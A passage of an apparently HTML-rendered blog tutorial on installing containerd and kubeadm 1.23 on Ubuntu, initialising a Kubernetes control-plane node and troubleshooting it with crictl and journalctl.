style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/apt/sources.list.d/docker.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e update\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-cache\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e madison\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.7-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.6-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.6.4-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.5.11-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtainerd.io\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.5.10-1\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e https://download.docker.com/linux/ubuntu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e jammy/stable\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e arm64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe are going to use the latest version available which was 1.6.8-1\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.io=1.6.8-1\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen we will setup a configuration that enables containerd to use the systemd\ncgroup. We are hard coding this config instead of using \u003ccode\u003econtainerd config default\u003c/code\u003e\nbecause that currently has had a \u003ca href=\"https://github.com/containerd/containerd/issues/4574\"\u003ebug\u003c/a\u003e\nfor many years that generates an invalid config.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cat\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e \u0026#x3C;\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e tee\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/containerd/config.toml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003eversion = 2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e[plugins]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\"]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e runtime_type = \"io.containerd.runc.v2\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e [plugins.\"io.containerd.grpc.v1.cri\".containerd.runtimes.runc.options]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e SystemdCgroup = true\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003eEOF\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e systemctl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e restart\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containerd.service\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can verify it is running with ctr:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ctr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --address\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e containers\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e RUNTIME\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eNow that this is working we can move on to getting kubernetes installed!\u003c/p\u003e\n\u003ch2\u003eUsing kubeadm!\u003c/h2\u003e\n\u003cp\u003eNow we need to get the kubernetes tools installed onto the system. I am going to be using 1.23\nbut to find the latest version you can run:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-cache\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e madison\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003ehead\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -n2\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e http://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e amd64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e 1.23.4-00\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e |\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003e http://apt.kubernetes.io\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubernetes-xenial/main\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e amd64\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Packages\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThen install the version you want, we install kubelet and kubeadm here to make\nsure the versions align:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e apt-get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e install\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl=1.23.5-00\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -y\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will pull in a few tools, including an alternative to \u003ccode\u003ectr\u003c/code\u003e that we used earlier called\n\u003ccode\u003ecrictl\u003c/code\u003e. You can check that it is available to you doing this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWe can finally init our cluster:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubeadm\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e init\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eOnce that finishes running it should give you some tips setup your configuration, it should look like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e mkdir\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -p\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e cp\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -i\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e /etc/kubernetes/admin.conf\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e chown\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e $(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -u\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e$(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eid\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -g\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) $HOME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e/.kube/config\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eYou can run those on the master node for now, but later I will show you how to move\nthe config to your host computer.\u003c/p\u003e\n\u003cp\u003eNow you should be able to check that your node is not ready yet:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubectl\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e get\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e nodes\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eNAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATUS\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ROLES\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e VERSION\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NotReady\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e control-plane,master\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 4m16s\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e v1.23.5\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003e\u003cem\u003eNote\u003c/em\u003e: If you receive \"The connection to the server was refused\" error,\nThe cluster starting up and getting all the dependencies running could take\na bit of time. So if you are not able to communicate right away you can check\nwhich pods are up and running with \u003ccode\u003ecrictl\u003c/code\u003e. You will need \u003ccode\u003ekube-apiserver\u003c/code\u003e up\nand running. If it is not you can check:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ps\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -a\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eCONTAINER\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e IMAGE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e CREATED\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e STATE\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e NAME\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ATTEMPT\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e POD\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ID\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e POD\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e8322192c4605c\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bd8cc6d582470\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 36\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e seconds\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Running\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 344c4f7fffbe8\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e30ce27c40adb2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 81a4a8a4ac639\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-controller-manager\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 3a819c3a864b2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-controller-manager-controlplane\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e7709fd5e92898\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e bd8cc6d582470\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 3\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 7cc6922c82015\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-proxy-drm46\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e10432b81d7c61\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 3767741e7fba7\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 2\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e minutes\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ago\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Exited\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-apiserver\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 4\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e e64ddf3679d98\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kube-apiserver-controlplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003ewhich will show you pods that have exited. You can grab the container ID for\nkube-apiserver and read its logs:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e crictl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --runtime-endpoint=unix:///var/run/containerd/containerd.sock\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e logs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 10432b81d7c61\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThere are a few ways to figure out why the node is not ready yet. Usually I would check the\n\u003ccode\u003ekubelet\u003c/code\u003e logs first:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"bash\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"bash\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e sudo\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e journalctl\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e -flu\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003e--\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Logs\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e begin\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e at\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e Sun\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 2022-04-17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 19:22:19\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e AST.\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e --\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F69D50\"\u003eApr\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 17\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 20:53:15\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e controlplane\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e kubelet[19727]:\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e E0417\u003c/span\u003e\u003cspan 